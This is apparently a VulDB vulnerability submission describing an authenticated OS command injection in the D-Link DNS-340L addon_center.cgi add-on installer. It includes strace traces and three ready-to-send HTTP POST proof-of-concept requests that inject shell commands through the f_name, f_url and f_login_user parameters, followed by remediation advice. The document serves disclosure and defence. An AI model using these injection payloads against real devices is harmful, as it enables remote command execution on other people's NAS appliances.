Submit #894212: D-Link DNS-340L ShareCenter confirmed DNS-340L firmware builds OS Command Injection

D-Link DNS-340L addon_center.cgi OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-007
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-340L ShareCenter
- **Affected Version / Firmware:** confirmed DNS-340L firmware builds
- **Affected Component:** cgi/addon_center.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `addon_center.cgi` CGI handler implements add-on package management. The authenticated add-on installation branch accepts HTTP POST parameters including `f_name`, `f_url`, `f_flag`, and `f_login_user` for `cmd=download_install_addon`.

In DNS-340L REVA 1.01B04, the handler builds a shell command resembling:

```text
download_apkg <f_name> '<f_url>' <f_flag> <f_login_user> > /dev/null &
```

and executes it through `/bin/sh -c`. The `f_name` and `f_login_user` parameters are inserted outside shell quotes, and a single quote in `f_url` can break out of the quoted URL argument. An authenticated web attacker can inject shell metacharacters into these parameters and execute arbitrary commands as the CGI process user.

The vulnerable path is reachable from the authenticated Add-On Center UI. `web/pages/function/addon.js` sends POST requests to `/cgi-bin/addon_center.cgi` with:

```text
cmd=download_install_addon&f_name=<module>&f_url=<download_url>&f_flag=<flag>&f_login_user=<user>
```

## 5. Technical Details

Runtime summary:

| Firmware | Binary SHA1 | Marker hits | Controlled exec traces |
| ---------------- | ---------------------------------------- | ----------- | ---------------------- |
| DNS-320L 1.10B03 | 4d03396f1aba2a78c7338cfc260167c65c78e198 | 3 | 6 |
| DNS-327L 1.10B02 | 30723faa93891b449c6fe06a5b39c2a9443aa3b0 | 3 | 6 |
| DNS-340L 1.01B04 | c6003545359d04ab01f16cdc5e618ca634a6c8f1 | 4 | 6 |

Representative DNS-340L qemu strace evidence:

`f_name` semicolon injection:

```text
execve("/bin/sh",{"sh","-c","download_apkg PhotoCenter;touch /tmp/FIRMREC_DNS340L_101B04_ADDON_CENTER_20260526_download_name.hit;# 'http://127.0.0.1/addon.pkg' 1 admin > /dev/null &",NULL})
```

`f_url` quote breakout:

```text
execve("/bin/sh",{"sh","-c","download_apkg PhotoCenter 'http://127.0.0.1/addon.pkg';touch /tmp/FIRMREC_DNS340L_101B04_ADDON_CENTER_20260526_download_url_quote.hit;#' 1 admin > /dev/null &",NULL})
```

`f_login_user` semicolon injection:

```text
execve("/bin/sh",{"sh","-c","download_apkg PhotoCenter 'http://127.0.0.1/addon.pkg' 1 admin;touch /tmp/FIRMREC_DNS340L_101B04_ADDON_CENTER_20260526_download_user.hit;# > /dev/null &",NULL})
```

The verifier created marker files in temporary qemu sysroots for these DNS-340L cases.

## 6. Proof of Concept / Reproduction

Low-impact marker examples:

```http
POST /cgi-bin/addon_center.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=download_install_addon&f_name=PhotoCenter;touch /tmp/DLINK_CMD_007_name.hit;#&f_url=http://127.0.0.1/addon.pkg&f_flag=1&f_login_user=admin
```

```http
POST /cgi-bin/addon_center.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=download_install_addon&f_name=PhotoCenter&f_url=http://127.0.0.1/addon.pkg';touch /tmp/DLINK_CMD_007_url.hit;#&f_flag=1&f_login_user=admin
```

```http
POST /cgi-bin/addon_center.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=download_install_addon&f_name=PhotoCenter&f_url=http://127.0.0.1/addon.pkg&f_flag=1&f_login_user=admin;touch /tmp/DLINK_CMD_007_user.hit;#
```

## 7. Security Impact

Successful exploitation allows authenticated remote command execution on the NAS appliance through the Add-On Center package-install workflow. The attacker can run arbitrary shell commands, alter device configuration, install or remove files, or disrupt NAS services.

This report is limited to the `download_install_addon` parameter-to-shell paths confirmed with marker files and qemu strace. `clear_addon_files`, `cgi_download_apkg_finish`, and `uninstall_addon` branches were also tested; they are not claimed here because they did not create marker files in the focused verification.

## 8. Remediation Recommendation

1. Replace shell-based command construction with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat add-on names, package URLs, flags, and usernames as structured values, not shell fragments.
3. Enforce strict server-side allowlists for add-on identifiers, URL schemes/hosts, numeric flags, and account names.
4. Reject shell metacharacters, command substitutions, quoting characters, separators, and malformed URL values before launching package-management actions.
5. Add server-side authorization and CSRF protections for add-on installation and removal actions.

• Quelle: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-007-vulndb.md
• Benutzer: ST4R0001 (UID 99565)
• Einreichung: 17.07.2026 18:34 (vor 2 Monaten)
• Moderieren: 03.09.2026 16:24 (2 months later)
• Status: Akzeptiert
• VulDB Eintrag: 398421 [D-Link DNS-340L 1.01B04 Add-On Center addon_center.cgi f_name/f_url/f_flag/f_login_user erweiterte Rechte]
• Punkte: 20